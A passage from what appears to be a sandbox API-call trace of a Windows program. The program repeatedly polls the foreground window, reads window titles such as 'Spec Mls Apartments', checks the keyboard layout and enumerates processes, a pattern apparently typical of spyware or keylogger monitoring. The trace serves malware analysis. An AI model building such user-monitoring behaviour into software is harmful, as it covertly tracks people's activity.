ResultLength=0x4f8f840*=0x8b68) returned 0x0 [0215.669] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0215.669] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0217.303] GetForegroundWindow () returned 0x101a2 [0217.303] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0217.366] GetForegroundWindow () returned 0x101a2 [0217.366] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0217.428] GetForegroundWindow () returned 0x101a2 [0217.428] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0217.490] GetForegroundWindow () returned 0x100f6 [0217.490] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0217.490] EnumProcesses (in: lpidProcess=0x238597c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x238597c, lpcbNeeded=0x4f8f87c) returned 1 [0217.491] GetLastError () returned 0x0 [0217.492] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8b28) returned 0x0 [0217.499] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0217.499] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0217.553] GetForegroundWindow () returned 0x101a2 [0217.553] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0217.553] EnumProcesses (in: lpidProcess=0x2396d0c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2396d0c, lpcbNeeded=0x4f8f87c) returned 1 [0217.553] GetLastError () returned 0x0 [0217.554] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8b28) returned 0x0 [0217.558] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0217.559] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0217.615] GetForegroundWindow () returned 0x101a2 [0217.615] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0217.678] GetForegroundWindow () returned 0x101a2 [0217.678] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0217.740] GetForegroundWindow () returned 0x101a2 [0217.740] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0217.802] GetForegroundWindow () returned 0x100f6 [0217.802] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0217.802] EnumProcesses (in: lpidProcess=0x23a88a4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a88a4, lpcbNeeded=0x4f8f87c) returned 1 [0217.803] GetLastError () returned 0x0 [0217.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8b28) returned 0x0 [0217.807] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0217.807] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0217.865] GetForegroundWindow () returned 0x101a2 [0217.865] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0217.865] EnumProcesses (in: lpidProcess=0x23b9c34, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23b9c34, lpcbNeeded=0x4f8f87c) returned 1 [0217.866] GetLastError () returned 0x0 [0217.867] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8b28) returned 0x0 [0217.871] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0217.871] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0217.927] GetForegroundWindow () returned 0x101a2 [0217.927] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0217.990] GetForegroundWindow () returned 0x101a2 [0217.990] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0218.054] GetForegroundWindow () returned 0x101a2 [0218.054] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0218.114] GetForegroundWindow () returned 0x100f6 [0218.114] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0218.114] EnumProcesses (in: lpidProcess=0x23cb7cc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23cb7cc, lpcbNeeded=0x4f8f87c) returned 1 [0218.115] GetLastError () returned 0x0 [0218.116] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8b28) returned 0x0 [0218.119] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0218.119] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0218.177] GetForegroundWindow () returned 0x101a2 [0218.177] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0218.177] EnumProcesses (in: lpidProcess=0x23dcb5c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23dcb5c, lpcbNeeded=0x4f8f87c) returned 1 [0218.177] GetLastError () returned 0x0 [0218.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0218.181] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0218.181] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0218.246] GetForegroundWindow () returned 0x101a2 [0218.246] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0218.302] GetForegroundWindow () returned 0x101a2 [0218.302] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0218.364] GetForegroundWindow () returned 0x101a2 [0218.364] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0218.426] GetForegroundWindow () returned 0x100f6 [0218.426] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0218.426] EnumProcesses (in: lpidProcess=0x23ee820, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ee820, lpcbNeeded=0x4f8f87c) returned 1 [0218.427] GetLastError () returned 0x0 [0218.428] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0218.431] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0218.431] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0218.489] GetForegroundWindow () returned 0x101a2 [0218.489] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0218.489] EnumProcesses (in: lpidProcess=0x23ffc88, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ffc88, lpcbNeeded=0x4f8f87c) returned 1 [0218.489] GetLastError () returned 0x0 [0218.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0218.495] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0218.495] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0218.553] GetForegroundWindow () returned 0x101a2 [0218.553] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0218.614] GetForegroundWindow () returned 0x101a2 [0218.614] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0218.676] GetForegroundWindow () returned 0x101a2 [0218.676] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0218.738] GetForegroundWindow () returned 0x100f6 [0218.738] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0218.739] EnumProcesses (in: lpidProcess=0x24118f8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24118f8, lpcbNeeded=0x4f8f87c) returned 1 [0218.739] GetLastError () returned 0x0 [0218.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0218.744] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0218.744] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0218.801] GetForegroundWindow () returned 0x101a2 [0218.802] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0218.802] EnumProcesses (in: lpidProcess=0x2422d60, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2422d60, lpcbNeeded=0x4f8f87c) returned 1 [0218.802] GetLastError () returned 0x0 [0218.803] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482f90, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0218.807] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0218.807] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0218.863] GetForegroundWindow () returned 0x101a2 [0218.863] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0218.926] GetForegroundWindow () returned 0x101a2 [0218.926] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0218.988] GetForegroundWindow () returned 0x101a2 [0218.988] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0219.050] GetForegroundWindow () returned 0x100f6 [0219.050] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0219.050] EnumProcesses (in: lpidProcess=0x24349d0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24349d0, lpcbNeeded=0x4f8f87c) returned 1 [0219.051] GetLastError () returned 0x0 [0219.051] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fb0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0219.055] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0219.055] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0219.113] GetForegroundWindow () returned 0x101a2 [0219.113] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0219.113] EnumProcesses (in: lpidProcess=0x2445e38, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2445e38, lpcbNeeded=0x4f8f87c) returned 1 [0219.113] GetLastError () returned 0x0 [0219.117] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0219.121] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0219.121] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0219.176] GetForegroundWindow () returned 0x101a2 [0219.176] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0219.238] GetForegroundWindow () returned 0x101a2 [0219.238] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0219.300] GetForegroundWindow () returned 0x101a2 [0219.300] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0219.362] GetForegroundWindow () returned 0x100f6 [0219.363] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0219.363] EnumProcesses (in: lpidProcess=0x2457afc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2457afc, lpcbNeeded=0x4f8f87c) returned 1 [0219.363] GetLastError () returned 0x0 [0219.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0219.371] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0219.371] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0219.425] GetForegroundWindow () returned 0x101a2 [0219.425] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0219.425] EnumProcesses (in: lpidProcess=0x24694a8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24694a8, lpcbNeeded=0x4f8f87c) returned 1 [0219.426] GetLastError () returned 0x0 [0219.426] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523020, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523020, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0219.430] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0219.430] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0219.489] GetForegroundWindow () returned 0x101a2 [0219.489] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0219.553] GetForegroundWindow () returned 0x101a2 [0219.553] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0219.612] GetForegroundWindow () returned 0x101a2 [0219.612] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0219.675] GetForegroundWindow () returned 0x100f6 [0219.675] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0219.675] EnumProcesses (in: lpidProcess=0x247b118, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x247b118, lpcbNeeded=0x4f8f87c) returned 1 [0219.675] GetLastError () returned 0x0 [0219.676] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543040, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3543040, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0219.682] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0219.683] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0219.737] GetForegroundWindow () returned 0x101a2 [0219.737] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0219.737] EnumProcesses (in: lpidProcess=0x248c580, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x248c580, lpcbNeeded=0x4f8f87c) returned 1 [0219.737] GetLastError () returned 0x0 [0219.738] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563060, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563060, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0219.742] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0219.742] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0219.799] GetForegroundWindow () returned 0x101a2 [0219.799] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0219.861] GetForegroundWindow () returned 0x101a2 [0219.861] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0219.924] GetForegroundWindow () returned 0x101a2 [0219.924] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0219.986] GetForegroundWindow () returned 0x100f6 [0219.987] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0219.987] EnumProcesses (in: lpidProcess=0x249e1f0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x249e1f0, lpcbNeeded=0x4f8f87c) returned 1 [0219.987] GetLastError () returned 0x0 [0219.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583080, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3583080, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0219.993] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0219.993] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0220.049] GetForegroundWindow () returned 0x101a2 [0220.049] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0220.049] EnumProcesses (in: lpidProcess=0x24af658, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24af658, lpcbNeeded=0x4f8f87c) returned 1 [0220.050] GetLastError () returned 0x0 [0220.050] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30a0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30a0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0220.054] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0220.054] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0220.111] GetForegroundWindow () returned 0x101a2 [0220.111] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0220.174] GetForegroundWindow () returned 0x101a2 [0220.174] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0220.237] GetForegroundWindow () returned 0x101a2 [0220.237] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0220.298] GetForegroundWindow () returned 0x100f6 [0220.298] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0220.299] EnumProcesses (in: lpidProcess=0x24c12c8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24c12c8, lpcbNeeded=0x4f8f87c) returned 1 [0220.299] GetLastError () returned 0x0 [0220.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30c0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c30c0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0220.303] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0220.303] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0220.361] GetForegroundWindow () returned 0x101a2 [0220.361] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0220.361] EnumProcesses (in: lpidProcess=0x24d2784, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24d2784, lpcbNeeded=0x4f8f87c) returned 1 [0220.362] GetLastError () returned 0x0 [0220.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30e0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e30e0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0220.366] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0220.366] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0220.423] GetForegroundWindow () returned 0x101a2 [0220.423] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0220.486] GetForegroundWindow () returned 0x101a2 [0220.486] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0220.548] GetForegroundWindow () returned 0x101a2 [0220.548] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0220.610] GetForegroundWindow () returned 0x100f6 [0220.611] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0220.611] EnumProcesses (in: lpidProcess=0x24e43f4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24e43f4, lpcbNeeded=0x4f8f87c) returned 1 [0220.611] GetLastError () returned 0x0 [0220.612] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603100, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3603100, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0220.616] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0220.616] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0220.673] GetForegroundWindow () returned 0x101a2 [0220.673] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0220.673] EnumProcesses (in: lpidProcess=0x24f585c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24f585c, lpcbNeeded=0x4f8f87c) returned 1 [0220.673] GetLastError () returned 0x0 [0220.674] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623120, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3623120, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0220.677] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0220.677] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0220.735] GetForegroundWindow () returned 0x101a2 [0220.735] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0220.798] GetForegroundWindow () returned 0x101a2 [0220.798] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0220.860] GetForegroundWindow () returned 0x101a2 [0220.860] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0220.922] GetForegroundWindow () returned 0x100f6 [0220.923] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0220.923] EnumProcesses (in: lpidProcess=0x25074cc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x25074cc, lpcbNeeded=0x4f8f87c) returned 1 [0220.923] GetLastError () returned 0x0 [0220.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3643140, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3643140, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0220.930] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0220.930] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0220.985] GetForegroundWindow () returned 0x101a2 [0220.985] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0220.985] EnumProcesses (in: lpidProcess=0x2518934, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2518934, lpcbNeeded=0x4f8f87c) returned 1 [0220.985] GetLastError () returned 0x0 [0221.000] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x32f3248, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0221.004] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0221.004] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0221.063] GetForegroundWindow () returned 0x101a2 [0221.063] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0221.125] GetForegroundWindow () returned 0x101a2 [0221.125] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0221.188] GetForegroundWindow () returned 0x101a2 [0221.188] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0221.252] GetForegroundWindow () returned 0x100f6 [0221.252] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0221.252] EnumProcesses (in: lpidProcess=0x2384960, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2384960, lpcbNeeded=0x4f8f87c) returned 1 [0221.253] GetLastError () returned 0x0 [0221.254] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0221.258] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0221.258] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0222.997] GetForegroundWindow () returned 0x101a2 [0222.998] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0223.060] GetForegroundWindow () returned 0x101a2 [0223.060] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0223.122] GetForegroundWindow () returned 0x101a2 [0223.122] 